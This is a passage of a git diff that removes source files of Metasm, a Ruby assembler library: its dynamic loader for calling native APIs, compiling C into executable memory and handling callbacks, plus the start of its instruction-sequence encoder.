-// entrypoint for callbacks: to the native api, give the addr of some code -// that will push a unique cb_identifier and jmp here -callback_handler: - // stack here: cb_id_retaddr, cb_native_retaddr, cb_native_arg0, ... - // swap caller retaddr & cb_identifier, fix cb_identifier from the stub - pop eax // stuff pushed by the stub - sub eax, callback_id_1 - callback_id_0 // fixup cb_id_retaddr to get a cb id - xchg eax, [esp] // put on stack, retrieve original retaddr - push eax // push intended cb retaddr - call do_callback_handler - // do_cb_handler puts the nr of bytes we have to pop from the stack in its 1st arg (eg [esp+4] here) - // stack here: cb_native_retaddr, ruby_popcount, cb_native_arg0, ... - pop ecx // get retaddr w/o interfering with retval (incl 64bits eax+edx) - add esp, [esp] // pop cb args if stdcall - add esp, 4 // pop cb_id/popcount - jmp ecx // return - -// those are valid callback id -// most of the time only 2 cb is used (source: meearse) -// so this prevents dynamic allocation of a whole page for the most common case -callback_id_0: call callback_handler -callback_id_1: call callback_handler -EOS - - # ia32 asm source for the native component: handles ABI stuff - DYNLDR_ASM_X86_64 = <<EOS -.text -fake_float: - ret - -// entrypoint for callbacks: to the native api, give the addr of some code -// that will save its address in rax and jump to do_cb_h -callback_id_0: - lea rax, [rip-$_+callback_id_0] - jmp do_callback_handler -callback_id_1: - lea rax, [rip-$_+callback_id_1] - jmp do_callback_handler -EOS - - # initialization - # load (build if needed) the binary module - def self.start - # callbacks are really just a list of asm 'call', so we share them among subclasses of DynLdr - @@callback_addrs = [] # list of all allocated callback addrs (in use or not) - @@callback_table = {} # addr -> cb structure (inuse only) - - binmodule = find_bin_path - - if not File.exists?(binmodule) or File.stat(binmodule).mtime < File.stat(__FILE__).mtime - compile_binary_module(host_exe, host_cpu, binmodule) - end - - require binmodule - - @@callback_addrs << CALLBACK_ID_0 << CALLBACK_ID_1 - end - - # compile the dynldr binary ruby module for a specific arch/cpu/modulename - def self.compile_binary_module(exe, cpu, modulename) - bin = exe.new(cpu) - # compile the C code, but patch the Init_ export name, which must match the string used in 'require' - module_c_src = DYNLDR_C.gsub('<insertfilenamehere>', File.basename(modulename, '.so')) - bin.compile_c module_c_src - # compile the Asm stuff according to the target architecture - bin.assemble case cpu.shortname - when 'ia32'; DYNLDR_ASM_IA32 - when 'x64'; DYNLDR_ASM_X86_64 - end - - # tweak the resulting binary linkage procedures if needed - compile_binary_module_hack(bin) - - # save the shared library - bin.encode_file(modulename, :lib) - end - - def self.compile_binary_module_hack(bin) - # this is a hack - # we need the module to use ruby symbols - # but we don't know the actual ruby lib filename (depends on ruby version, # platform, ...) - case bin.shortname - when 'elf' - # we know the lib is already loaded by the main ruby executable, no DT_NEEDED needed - class << bin - def automagic_symbols(*a) - # do the plt generation - super(*a) - # but remove the specific lib names - @tag.delete 'NEEDED' - end - end - return - when 'coff' - # the hard part, see below - else - # unhandled arch, dont tweak - return - end - - # we remove the PE IAT section related to ruby symbols, and make - # a manual symbol resolution on module loading. - - # populate the ruby import table ourselves on module loading - bin.imports.delete_if { |id| id.libname =~ /ruby/ } - - # we generate something like: - # .data - # ruby_import_table: - # rb_cObject dd str_rb_cObject - ruby_import_table - # riat_rb_intern dd str_rb_intern - ruby_import_table - # dd 0 - # - # .rodata - # str_rb_cObject db "rb_cObject", 0 - # str_rb_intern db "rb_intern", 0 - # - # .text - # rb_intern: jmp [riat_rb_intern] - # - # the PE_HACK code will parse ruby_import_table and make the symbol resolution on startup - - # setup the string table and the thunks - text = bin.sections.find { |s| s.name == '.text' }.encoded - rb_syms = text.reloc_externals.grep(/^rb_/) - - dd = (bin.cpu.size == 64 ? 'dq' : 'dd') - - init_symbol = text.export.keys.grep(/^Init_/).first - raise 'no Init_mname symbol found' if not init_symbol - if bin.cpu.size == 32 - # hax to find the base of libruby under Win98 (peb sux) - text.export[init_symbol + '_real'] = text.export.delete(init_symbol) - bin.unique_labels_cache.delete(init_symbol) - end - - # the C glue: getprocaddress etc - bin.compile_c DYNLDR_C_PE_HACK.gsub('Init_dynldr', init_symbol) - - # the IAT, initialized with relative offsets to symbol names - asm_table = ['.data', '.align 8', 'ruby_import_table:'] - # strings will be in .rodata - bin.parse('.rodata') - rb_syms.each { |sym| - # raw symbol name - str_label = bin.parse_new_label('str', "db #{sym.inspect}, 0") - - if sym !~ /^rb_[ce][A-Z]/ - # if we dont reference a data import (rb_cClass / rb_eException), - # then create a function thunk - i = PE::ImportDirectory::Import.new - i.thunk = sym - sym = i.target = 'riat_' + str_label - bin.arch_encode_thunk(text, i) # encode a jmp [importtable] - end - - # update the IAT - asm_table << "#{sym} #{dd} #{str_label} - ruby_import_table" - } - # IAT null-terminated - asm_table << "#{dd} 0" - - # now parse & assemble the IAT in .data - bin.assemble asm_table.join("\n") - end - - # find the path of the binary module - # if none exists, create a path writeable by the current user - def self.find_bin_path - fname = ['dynldr', host_arch, host_cpu.shortname, - ('19' if RUBY_VERSION >= '1.9')].compact.join('-') + '.so' - dir = File.dirname(__FILE__) - binmodule = File.join(dir, fname) - if not File.exists? binmodule or File.stat(binmodule).mtime < File.stat(__FILE__).mtime - if not dir = find_write_dir - raise LoadError, "no writable dir to put the DynLdr ruby module, try to run as root" - end - binmodule = File.join(dir, fname) - end - binmodule - end - - # find a writeable directory - # searches this script directory, $HOME / %APPDATA% / %USERPROFILE%, or $TMP - def self.find_write_dir - writable = lambda { |d| - begin - foo = '/_test_write_' + rand(1<<32).to_s - true if File.writable?(d) and - File.open(d+foo, 'w') { true } and - File.unlink(d+foo) - rescue - end - } - dir = File.dirname(__FILE__) - return dir if writable[dir] - dir = ENV['HOME'] || ENV['APPDATA'] || ENV['USERPROFILE'] - if writable[dir] - dir = File.join(dir, '.metasm') - Dir.mkdir dir if not File.directory? dir - return dir - end - ENV['TMP'] || ENV['TEMP'] || '.' - end - - # CPU suitable for compiling code for the current running host - def self.host_cpu - @cpu ||= - case RUBY_PLATFORM - when /i[3-6]86/; Ia32.new - when /x86_64|x64/i; X86_64.new - else raise LoadError, "Unsupported host platform #{RUBY_PLATFORM}" - end - end - - # returns whether we run on linux or windows - def self.host_arch - case RUBY_PLATFORM - when /linux/i; :linux - when /mswin|mingw|cygwin/i; :windows - else raise LoadError, "Unsupported host platform #{RUBY_PLATFORM}" - end - end - - # ExeFormat suitable as current running host native module - def self.host_exe - case host_arch - when :linux; ELF - when :windows; PE - end - end - - # parse a C string into the @cp parser, create it if needed - def self.parse_c(src) - cp.parse(src) - end - - # compile a C fragment into a Shellcode_RWX, honors the host ABI - def self.compile_c(src) - # XXX could we reuse self.cp ? (for its macros etc) - cp = C::Parser.new(host_exe.new(host_cpu)) - cp.parse(src) - sc = Shellcode_RWX.new(host_cpu) - asm = host_cpu.new_ccompiler(cp, sc).compile - sc.assemble(asm) - end - - # maps a Shellcode_RWX in memory, fixup stdlib relocations - # returns the Shellcode_RWX, with the base_r/w/x initialized to the allocated memory - def self.sc_map_resolve(sc) - sc_map_resolve_addthunks(sc) - - sc.base_r = memory_alloc(sc.encoded_r.length) if sc.encoded_r.length > 0 - sc.base_w = memory_alloc(sc.encoded_w.length) if sc.encoded_w.length > 0 - sc.base_x = memory_alloc(sc.encoded_x.length) if sc.encoded_x.length > 0 - - locals = sc.encoded_r.export.keys | sc.encoded_w.export.keys | sc.encoded_x.export.keys - exts = sc.encoded_r.reloc_externals(locals) | sc.encoded_w.reloc_externals(locals) | sc.encoded_x.reloc_externals(locals) - bd = {} - exts.uniq.each { |ext| bd[ext] = sym_addr(lib_from_sym(ext), ext) or raise rescue raise "unknown symbol #{ext.inspect}" } - sc.fixup_check(bd) - - memory_write sc.base_r, sc.encoded_r.data if sc.encoded_r.length > 0 - memory_write sc.base_w, sc.encoded_w.data if sc.encoded_w.length > 0 - memory_write sc.base_x, sc.encoded_x.data if sc.encoded_x.length > 0 - - memory_perm sc.base_r, sc.encoded_r.length, 'r' if sc.encoded_r.length > 0 - memory_perm sc.base_w, sc.encoded_w.length, 'rw' if sc.encoded_w.length > 0 - memory_perm sc.base_x, sc.encoded_x.length, 'rx' if sc.encoded_x.length > 0 - - sc - end - - def self.sc_map_resolve_addthunks(sc) - case host_cpu.shortname - when 'x64' - # patch 'call moo' into 'call thunk; thunk: jmp qword [moo_ptr]' - # this is similar to ELF PLT section, allowing code to call - # into a library mapped more than 4G away - # XXX handles only 'call extern', not 'lea reg, extern' or anything else - # in this case, the linker will still raise an 'immediate overflow' - # during fixup_check in sc_map_resolve - [sc.encoded_r, sc.encoded_w, sc.encoded_x].each { |edata| - edata.reloc.dup.each { |off, rel| - # target only call extern / jmp.i32 extern - next if rel.type != :i32 - next if rel.target.op != :- - next if edata.export[rel.target.rexpr] != off+4 - next if edata.export[rel.target.lexpr] - opc = edata.data[off-1, 1].unpack('C')[0] - next if opc != 0xe8 and opc != 0xe9 - - thunk_sc = Shellcode.new(host_cpu).share_namespace(sc) - thunk = thunk_sc.assemble(<<EOS).encoded -1: jmp qword [rip] -dq #{rel.target.lexpr} -EOS - edata << thunk - rel.target.lexpr = thunk.inv_export[0] - } - } - end - end - - # retrieve the library where a symbol is to be found (uses AutoImport) - def self.lib_from_sym(symname) - case host_arch - when :linux; GNUExports::EXPORT - when :windows; WindowsExports::EXPORT - end[symname] - end - - # reads a bunch of C code, creates binding for those according to the prototypes - # handles enum/defines to define constants - # For each toplevel method prototype, it generates a ruby method in this module, the name is lowercased - # For each numeric macro/enum, it also generates an uppercase named constant - # When such a function is called with a lambda as argument, a callback is created for the duration of the call - # and destroyed afterwards ; use callback_alloc_c to get a callback id with longer life span - def self.new_api_c(proto, fromlib=nil) - proto += "\n;" # allow 'int foo()' and '#include <bar>' - parse_c(proto) - - cp.toplevel.symbol.dup.each_value { |v| - next if not v.kind_of? C::Variable # enums - cp.toplevel.symbol.delete v.name - lib = fromlib || lib_from_sym(v.name) - addr = sym_addr(lib, v.name) - if addr == 0 or addr == -1 or addr == 0xffff_ffff or addr == 0xffffffff_ffffffff - api_not_found(lib, v) - next - end - - rbname = c_func_name_to_rb(v.name) - if not v.type.kind_of? C::Function - # not a function, simply return the symbol address - # TODO struct/table access through hash/array ? - class << self ; self ; end.send(:define_method, rbname) { addr } - next - end - next if v.initializer # inline & stuff - puts "new_api_c: load method #{rbname} from #{lib}" if $DEBUG - - new_caller_for(v, rbname, addr) - } - - # predeclare constants from enums - # macros are handled in const_missing (too slow to (re)do here everytime) - # TODO #define FOO(v) (v<<1)|1 => create ruby counterpart - cexist = constants.inject({}) { |h, c| h.update c.to_s => true } - cp.toplevel.symbol.each { |k, v| - if v.kind_of? ::Integer - n = c_const_name_to_rb(k) - const_set(n, v) if v.kind_of? Integer and not cexist[n] - end - } - - # avoid WTF rb warning: toplevel const TRUE referenced by WinAPI::TRUE - cp.lexer.definition.each_key { |k| - n = c_const_name_to_rb(k) - if not cexist[n] and Object.const_defined?(n) and v = @cp.macro_numeric(n) - const_set(n, v) - end - } - end - - # const_missing handler: will try to find a matching #define - def self.const_missing(c) - # infinite loop on autorequire C.. - return super(c) if not defined? @cp or not @cp - - cs = c.to_s - if @cp.lexer.definition[cs] - m = cs - else - m = @cp.lexer.definition.keys.find { |k| c_const_name_to_rb(k) == cs } - end - - if m and v = @cp.macro_numeric(m) - const_set(c, v) - v - else - super(c) - end - end - - # when defining ruby wrapper for C methods, the ruby method name is the string returned by this function from the C name - def self.c_func_name_to_rb(name) - n = name.to_s.gsub(/[^a-z0-9_]/i) { |c| c.unpack('H*')[0] }.downcase - n = "m#{n}" if n !~ /^[a-z]/ - n - end - - # when defining ruby wrapper for C constants (numeric define/enum), the ruby const name is - # the string returned by this function from the C name. It should follow ruby standards (1st letter upcase) - def self.c_const_name_to_rb(name) - n = name.to_s.gsub(/[^a-z0-9_]/i) { |c| c.unpack('H*')[0] }.upcase - n = "C#{n}" if n !~ /^[A-Z]/ - n - end - - def self.api_not_found(lib, func) - raise "could not find symbol #{func.name.inspect} in #{lib.inspect}" - end - - # called whenever a native API is called through new_api_c/new_func_c/etc - def self.trace_invoke(api, args) - #p api - end - - # define a new method 'name' in the current module to invoke the raw method at addr addr - # translates ruby args to raw args using the specified prototype - def self.new_caller_for(proto, name, addr) - flags = 0 - flags |= 1 if proto.has_attribute('stdcall') - flags |= 2 if proto.has_attribute('fastcall') - flags |= 4 if proto.type.type.integral? and cp.sizeof(nil, proto.type.type) == 8 - flags |= 8 if proto.type.type.float? - class << self ; self ; end.send(:define_method, name) { |*a| - raise ArgumentError, "bad arg count for #{name}: #{a.length} for #{proto.type.args.to_a.length}" if a.length != proto.type.args.to_a.length and not proto.type.varargs - - # convert the arglist suitably for raw_invoke - auto_cb = [] # list of automatic C callbacks generated from lambdas - a = a.zip(proto.type.args.to_a).map { |ra, fa| - aa = convert_rb2c(fa, ra, :cb_list => auto_cb) - if fa and fa.type.integral? and cp.sizeof(fa) == 8 and host_cpu.size == 32 - aa = [aa & 0xffff_ffff, (aa >> 32) & 0xffff_ffff] - aa.reverse! if host_cpu.endianness != :little - end - aa - }.flatten - - trace_invoke(name, a) - # do it - ret = raw_invoke(addr, a, flags) - - # cleanup autogenerated callbacks - auto_cb.each { |cb| callback_free(cb) } - - # interpret return value - ret = convert_ret_c2rb(proto, ret) - } - end - - # ruby object -> integer suitable as arg for raw_invoke - def self.convert_rb2c(formal, val, opts=nil) - case val - when String; str_ptr(val) - when Proc; cb = callback_alloc_cobj(formal, val) ; (opts[:cb_list] << cb if opts and opts[:cb_list]) ; cb - when C::AllocCStruct; str_ptr(val.str) + val.stroff - when Hash - if not formal.type.pointed.kind_of?(C::Struct) - raise "invalid argument #{val.inspect} for #{formal}, need a struct*" - end - buf = cp.alloc_c_struct(formal, val) - val.instance_variable_set('@rb2c', buf) # GC trick: lifetime(buf) >= lifetime(hash) (XXX or until next call to convert_rb2c) - str_ptr(buf.str) - #when Float; val # TODO handle that in raw_invoke C code - else - v = val.to_i rescue 0 # NaN, Infinity, etc - v = -v if v == -(1<<(cp.typesize[:ptr]*8-1)) # ruby bug... raise -0x8000_0000: out of ulong range - v - end - end - - # this method is called from the C part to run the ruby code corresponding to - # a given C callback allocated by callback_alloc_c - def self.callback_run(id, args) - cb = @@callback_table[id] - raise "invalid callback #{'%x' % id} not in #{@@callback_table.keys.map { |c| c.to_s(16) }}" if not cb - - rawargs = args.dup - if host_cpu.shortname == 'ia32' and (not cb[:proto_ori] or not cb[:proto_ori].has_attribute('fastcall')) - rawargs.shift - rawargs.shift - end - ra = cb[:proto] ? cb[:proto].args.map { |fa| convert_cbargs_c2rb(fa, rawargs) } : [] - - # run it - ret = cb[:proc].call(*ra) - - # the C code expects to find in args[0] the amount of stack fixing needed for __stdcall callbacks - args[0] = cb[:abi_stackfix] || 0 - ret - end - - # C raw cb arg -> ruby object - # will combine 2 32bit values for 1 64bit arg - def self.convert_cbargs_c2rb(formal, rawargs) - val = rawargs.shift - if formal.type.integral? and cp.sizeof(formal) == 8 and host_cpu.size == 32 - if host.cpu.endianness == :little - val |= rawargs.shift << 32 - else - val = (val << 32) | rawargs.shift - end - end - - convert_c2rb(formal, val) - end - - # interpret a raw decoded C value to a ruby value according to the C prototype - # handles signedness etc - # XXX val is an integer, how to decode Floats etc ? raw binary ptr ? - def self.convert_c2rb(formal, val) - formal = formal.type if formal.kind_of? C::Variable - val &= (1 << 8*cp.sizeof(formal))-1 if formal.integral? - val = Expression.make_signed(val, 8*cp.sizeof(formal)) if formal.integral? and formal.signed? - val = nil if formal.pointer? and val == 0 - val - end - - # C raw ret -> ruby obj - # can be overridden for system-specific calling convention (eg return 0/-1 => raise an error) - def self.convert_ret_c2rb(fproto, ret) - fproto = fproto.type if fproto.kind_of? C::Variable - convert_c2rb(fproto.untypedef.type, ret) - end - - def self.cp ; @cp ||= C::Parser.new(host_exe.new(host_cpu)) ; end - def self.cp=(c); @cp = c ; end - - # allocate a callback for a given C prototype (string) - # accepts full C functions (with body) (only 1 at a time) or toplevel 'asm' statement - def self.callback_alloc_c(proto, &b) - proto += ';' # allow 'int foo()' - parse_c(proto) - v = cp.toplevel.symbol.values.find_all { |v_| v_.kind_of? C::Variable and v_.type.kind_of? C::Function }.first - if (v and v.initializer) or cp.toplevel.statements.find { |st| st.kind_of? C::Asm } - cp.toplevel.statements.delete_if { |st| st.kind_of? C::Asm } - cp.toplevel.symbol.delete v.name if v - sc = sc_map_resolve(compile_c(proto)) - sc.base_x - elsif not v - raise 'empty prototype' - else - cp.toplevel.symbol.delete v.name - callback_alloc_cobj(v, b) - end - end - - # allocates a callback for a given C prototype (C variable, pointer to func accepted) - def self.callback_alloc_cobj(proto, b) - ori = proto - proto = proto.type if proto and proto.kind_of? C::Variable - proto = proto.pointed while proto and proto.pointer? - id = callback_find_id - cb = {} - cb[:id] = id - cb[:proc] = b - cb[:proto] = proto - cb[:proto_ori] = ori - cb[:abi_stackfix] = proto.args.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('stdcall') - cb[:abi_stackfix] = proto.args[2..-1].to_a.inject(0) { |s, a| s + [cp.sizeof(a), cp.typesize[:ptr]].max } if ori and ori.has_attribute('fastcall') # supercedes stdcall - @@callback_table[id] = cb - id - end - - # releases a callback id, so that it may be reused by a later callback_alloc - def self.callback_free(id) - @@callback_table.delete id - end - - # finds a free callback id, allocates a new page if needed - def self.callback_find_id - if not id = @@callback_addrs.find { |a| not @@callback_table[a] } - page_size = 4096 - cb_page = memory_alloc(page_size) - sc = Shellcode.new(host_cpu, cb_page) - case sc.cpu.shortname - when 'ia32' - asm = "call #{CALLBACK_TARGET}" - when 'x64' - if (cb_page - CALLBACK_TARGET).abs >= 0x7fff_f000 - # cannot directly 'jmp CB_T' - asm = "1: mov rax, #{CALLBACK_TARGET} push rax lea rax, [rip-$_+1b] ret" - else - asm = "1: lea rax, [rip-$_+1b] jmp #{CALLBACK_TARGET}" - end - else - raise 'Who are you?' - end - - # fill the page with valid callbacks - loop do - off = sc.encoded.length - sc.assemble asm - break if sc.encoded.length > page_size - @@callback_addrs << (cb_page + off) - end - - memory_write cb_page, sc.encode_string[0, page_size] - memory_perm cb_page, page_size, 'rx' - - raise 'callback_alloc bouh' if not id = @@callback_addrs.find { |a| not @@callback_table[a] } - end - id - end - - # compile a bunch of C functions, defines methods in this module to call them - # returns the raw pointer to the code page - # if given a block, run the block and then undefine all the C functions & free memory - def self.new_func_c(src) - sc = sc_map_resolve(compile_c(src)) - - parse_c(src) # XXX the Shellcode parser may have defined stuff / interpreted C another way... - defs = [] - cp.toplevel.symbol.dup.each_value { |v| - next if not v.kind_of? C::Variable - cp.toplevel.symbol.delete v.name - next if not v.type.kind_of? C::Function or not v.initializer - next if not off = sc.encoded_x.export[v.name] - rbname = c_func_name_to_rb(v.name) - new_caller_for(v, rbname, sc.base_x+off) - defs << rbname - } - if block_given? - begin - yield - ensure - defs.each { |d| class << self ; self ; end.send(:remove_method, d) } - memory_free sc.base_r if sc.base_r - memory_free sc.base_w if sc.base_w - memory_free sc.base_x if sc.base_x - end - else - sc.base_x - end - end - - # compile an asm sequence, callable with the ABI of the C prototype given - # function name comes from the prototype - # the shellcode is mapped in read-only memory unless selfmodifyingcode is true - # note that you can use a .data section for simple writable non-executable memory - def self.new_func_asm(proto, asm, selfmodifyingcode=false) - proto += "\n;" - old = cp.toplevel.symbol.keys - parse_c(proto) - news = cp.toplevel.symbol.keys - old - raise "invalid proto #{proto}" if news.length != 1 - f = cp.toplevel.symbol[news.first] - raise "invalid func proto #{proto}" if not f.name or not f.type.kind_of? C::Function or f.initializer - cp.toplevel.symbol.delete f.name - - sc = Shellcode_RWX.assemble(host_cpu, asm) - sc = sc_map_resolve(sc) - if selfmodifyingcode - memory_perm sc.base_x, sc.encoded_x.length, 'rwx' - end - rbname = c_func_name_to_rb(f.name) - new_caller_for(f, rbname, sc.base_x) - if block_given? - begin - yield - ensure - class << self ; self ; end.send(:remove_method, rbname) - memory_free sc.base_r if sc.base_r - memory_free sc.base_w if sc.base_w - memory_free sc.base_x - end - else - sc.base_x - end - end - - # allocate a C::AllocCStruct to hold a specific struct defined in a previous new_api_c - def self.alloc_c_struct(structname, values={}) - cp.alloc_c_struct(structname, values) - end - - # return a C::AllocCStruct mapped over the string (with optionnal offset) - # str may be an EncodedData - def self.decode_c_struct(structname, str, off=0) - str = str.data if str.kind_of? EncodedData - cp.decode_c_struct(structname, str, off) - end - - # allocate a C::AllocCStruct holding an Array of typename variables - # if len is an int, it holds the ary length, or it can be an array of initialisers - # eg alloc_c_ary("int", [4, 5, 28]) - def self.alloc_c_ary(typename, len) - cp.alloc_c_ary(typename, len) - end - - # return a C::AllocCStruct holding an array of type typename mapped over str - def self.decode_c_ary(typename, len, str, off=0) - cp.decode_c_ary(typename, len, str, off) - end - - # return an AllocCStruct holding an array of 1 element of type typename - # access its value with obj[0] - # useful when you need a pointer to an int that will be filled by an API: use alloc_c_ptr('int') - def self.alloc_c_ptr(typename, init=nil) - cp.alloc_c_ary(typename, (init ? [init] : 1)) - end - - # return the binary version of a ruby value encoded as a C variable - # only integral types handled for now - def self.encode_c_value(var, val) - cp.encode_c_value(var, val) - end - - # decode a C variable - # only integral types handled for now - def self.decode_c_value(str, var, off=0) - cp.decode_c_value(str, var, off) - end - - # read a 0-terminated string from memory - def self.memory_read_strz(ptr, szmax=4096) - # read up to the end of the ptr memory page - pglim = (ptr + 0x1000) & ~0xfff - sz = [pglim-ptr, szmax].min - data = memory_read(ptr, sz) - return data[0, data.index(?\0)] if data.index(?\0) - if sz < szmax - data = memory_read(ptr, szmax) - data = data[0, data.index(?\0)] if data.index(?\0) - end - data - end - - # read a 0-terminated wide string from memory - def self.memory_read_wstrz(ptr, szmax=4096) - # read up to the end of the ptr memory page - pglim = (ptr + 0x1000) & ~0xfff - sz = [pglim-ptr, szmax].min - data = memory_read(ptr, sz) - if i = data.unpack('v*').index(0) - return data[0, 2*i] - end - if sz < szmax - data = memory_read(ptr, szmax) - data = data[0, 2*i] if i = data.unpack('v*').index(0) - end - data - end - - # automatically build/load the bin module - start - - case host_arch - when :windows - - new_api_c <<EOS, 'kernel32' -#define PAGE_NOACCESS 0x01 -#define PAGE_READONLY 0x02 -#define PAGE_READWRITE 0x04 -#define PAGE_WRITECOPY 0x08 -#define PAGE_EXECUTE 0x10 -#define PAGE_EXECUTE_READ 0x20 -#define PAGE_EXECUTE_READWRITE 0x40 -#define PAGE_EXECUTE_WRITECOPY 0x80 -#define PAGE_GUARD 0x100 -#define PAGE_NOCACHE 0x200 -#define PAGE_WRITECOMBINE 0x400 - -#define MEM_COMMIT 0x1000 -#define MEM_RESERVE 0x2000 -#define MEM_DECOMMIT 0x4000 -#define MEM_RELEASE 0x8000 -#define MEM_FREE 0x10000 -#define MEM_PRIVATE 0x20000 -#define MEM_MAPPED 0x40000 -#define MEM_RESET 0x80000 -#define MEM_TOP_DOWN 0x100000 -#define MEM_WRITE_WATCH 0x200000 -#define MEM_PHYSICAL 0x400000 -#define MEM_LARGE_PAGES 0x20000000 -#define MEM_4MB_PAGES 0x80000000 - -__stdcall uintptr_t VirtualAlloc(uintptr_t addr, uintptr_t size, int type, int prot); -__stdcall uintptr_t VirtualFree(uintptr_t addr, uintptr_t size, int freetype); -__stdcall uintptr_t VirtualProtect(uintptr_t addr, uintptr_t size, int prot, int *oldprot); -EOS - - # allocate some memory suitable for code allocation (ie VirtualAlloc) - def self.memory_alloc(sz) - virtualalloc(nil, sz, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE) - end - - # free memory allocated through memory_alloc - def self.memory_free(addr) - virtualfree(addr, 0, MEM_RELEASE) - end - - # change memory permissions - perm in [r rw rx rwx] - def self.memory_perm(addr, len, perm) - perm = { 'r' => PAGE_READONLY, 'rw' => PAGE_READWRITE, 'rx' => PAGE_EXECUTE_READ, - 'rwx' => PAGE_EXECUTE_READWRITE }[perm.to_s.downcase] - virtualprotect(addr, len, perm, str_ptr([0].pack('C')*8)) - end - - when :linux - - new_api_c <<EOS -#define PROT_READ 0x1 -#define PROT_WRITE 0x2 -#define PROT_EXEC 0x4 - -#define MAP_PRIVATE 0x2 -#define MAP_FIXED 0x10 -#define MAP_ANONYMOUS 0x20 - -uintptr_t mmap(uintptr_t addr, uintptr_t length, int prot, int flags, uintptr_t fd, uintptr_t offset); -uintptr_t munmap(uintptr_t addr, uintptr_t length); -uintptr_t mprotect(uintptr_t addr, uintptr_t len, int prot); -EOS - - # allocate some memory suitable for code allocation (ie mmap) - def self.memory_alloc(sz) - @mmaps ||= {} # save size for mem_free - a = mmap(nil, sz, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) - @mmaps[a] = sz - a - end - - # free memory allocated through memory_alloc - def self.memory_free(addr) - munmap(addr, @mmaps[addr]) - end - - # change memory permissions - perm 'rwx' - # on PaX-enabled systems, this may need a non-mprotect-restricted ruby interpreter - # if a mapping 'rx' is denied, will try to create a file and mmap() it rx in place - def self.memory_perm(addr, len, perm) - perm = perm.to_s.downcase - len += (addr & 0xfff) + 0xfff - len &= ~0xfff - addr &= ~0xfff - - p = 0 - p |= PROT_READ if perm.include?('r') - p |= PROT_WRITE if perm.include?('w') - p |= PROT_EXEC if perm.include?('x') - - ret = mprotect(addr, len, p) - - if ret != 0 and perm.include?('x') and not perm.include?('w') and len > 0 and @memory_perm_wd ||= find_write_dir - # We are on a PaX-mprotected system. Try to use a file mapping to work aroud. - Dir.chdir(@memory_perm_wd) { - fname = 'tmp_mprot_%d_%x' % [Process.pid, addr] - data = memory_read(addr, len) - begin - File.open(fname, 'w') { |fd| fd.write data } - # reopen to ensure filesystem flush - rret = File.open(fname, 'r') { |fd| mmap(addr, len, p, MAP_FIXED|MAP_PRIVATE, fd.fileno, 0) } - raise 'hax' if data != memory_read(addr, len) - ret = 0 if rret == addr - ensure - File.unlink(fname) rescue nil - end - } - end - - ret - end - - end -end -end diff --git a/lib/metasm/metasm/encode.rb b/lib/metasm/metasm/encode.rb deleted file mode 100644 index ef6fa74f7e..0000000000 --- a/lib/metasm/metasm/encode.rb +++ /dev/null @@ -1,342 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' - -module Metasm -class ExeFormat - # encodes an Array of source (Label/Data/Instruction etc) to an EncodedData - # resolves ambiguities using +encode_resolve+ - def assemble_sequence(seq, cpu) - # an array of edata or sub-array of ambiguous edata - # its last element is always an edata - ary = [EncodedData.new] - - seq.each { |e| - case e - when Label; ary.last.add_export(e.name, ary.last.virtsize) - when Data; ary.last << e.encode(cpu.endianness) - when Align, Padding - e.fillwith = e.fillwith.encode(cpu.endianness) if e.fillwith and not e.fillwith.kind_of? EncodedData - ary << e << EncodedData.new - when Offset; ary << e << EncodedData.new - when Instruction - case i = cpu.encode_instruction(self, e) - when Array - case i.length - when 0; raise EncodeError, "failed to encode #{e}" - when 1; ary.last << i.first - else ary << i << EncodedData.new # to solve later - end - else - ary.last << i - end - end - } - - edata = (ary.length > 1) ? assemble_resolve(ary) : ary.shift - edata.fixup edata.binding - edata - end - - # chose among multiple possible sub-EncodedData - # assumes all ambiguous edata have the equivallent relocations in the same order - def assemble_resolve(ary) - startlabel = new_label('section_start') - - # create two bindings where all elements are the shortest/longest possible - minbinding = {} - minoff = 0 - maxbinding = {} - maxoff = 0 - - ary.each { |elem| - case elem - when Array - if elem.all? { |ed| ed.kind_of? EncodedData and ed.reloc.empty? } - elem = [elem.sort_by { |ed| ed.length }.first] - end - elem.each { |e| - e.export.each { |label, off| - minbinding[label] = Expression[startlabel, :+, minoff + off] - maxbinding[label] = Expression[startlabel, :+, maxoff + off] - } - } - minoff += elem.map { |e| e.virtsize }.min - maxoff += elem.map { |e| e.virtsize }.max - - when EncodedData - elem.export.each { |label, off| - minbinding[label] = Expression[startlabel, :+, minoff + off] - maxbinding[label] = Expression[startlabel, :+, maxoff + off] - } - minoff += elem.virtsize - maxoff += elem.virtsize - - when Align - minoff += 0 - maxoff += elem.val - 1 - - when Padding - # find the surrounding Offsets and compute the largest/shortest edata sizes to determine min/max length for the padding - prevoff = ary[0..ary.index(elem)].grep(Offset).last - nextoff = ary[ary.index(elem)..-1].grep(Offset).first - raise elem, 'need .offset after .pad' if not nextoff - - # find all elements between the surrounding Offsets - previdx = prevoff ? ary.index(prevoff) + 1 : 0 - surround = ary[previdx..ary.index(nextoff)-1] - surround.delete elem - if surround.find { |nelem| nelem.kind_of? Padding } - raise elem, 'need .offset beetween two .pad' - end - if surround.find { |nelem| nelem.kind_of? Align and ary.index(nelem) > ary.index(elem) } - raise elem, 'cannot .align after a .pad' # XXX really ? - end - - # lenmin/lenmax are the extrem length of the Padding - nxt = Expression[nextoff.val] - ext = nxt.externals - raise elem, "bad offset #{nxt}" if ext.length > 1 or (ext.length == 1 and not minbinding[ext.first]) - nxt = Expression[nxt, :-, startlabel] if not nxt.bind(minbinding).reduce.kind_of? ::Integer - prv = Expression[prevoff ? prevoff.val : 0] - ext = prv.externals - raise elem, "bad offset #{prv}" if ext.length > 1 or (ext.length == 1 and not minbinding[ext.first]) - prv = Expression[prv, :-, startlabel] if not prv.bind(minbinding).reduce.kind_of? ::Integer - - lenmin = Expression[nxt.bind(minbinding), :-, prv.bind(maxbinding)].reduce - lenmax = Expression[nxt.bind(maxbinding), :-, prv.bind(minbinding)].reduce - raise elem, "bad labels: #{lenmin}" if not lenmin.kind_of? ::Integer or not lenmax.kind_of? ::Integer - surround.each { |nelem| - case nelem - when Array - lenmin -= nelem.map { |e| e.virtsize }.max - lenmax -= nelem.map { |e| e.virtsize }.min - when EncodedData - lenmin -= nelem.virtsize - lenmax -= nelem.virtsize - when Align - lenmin -= nelem.val - 1 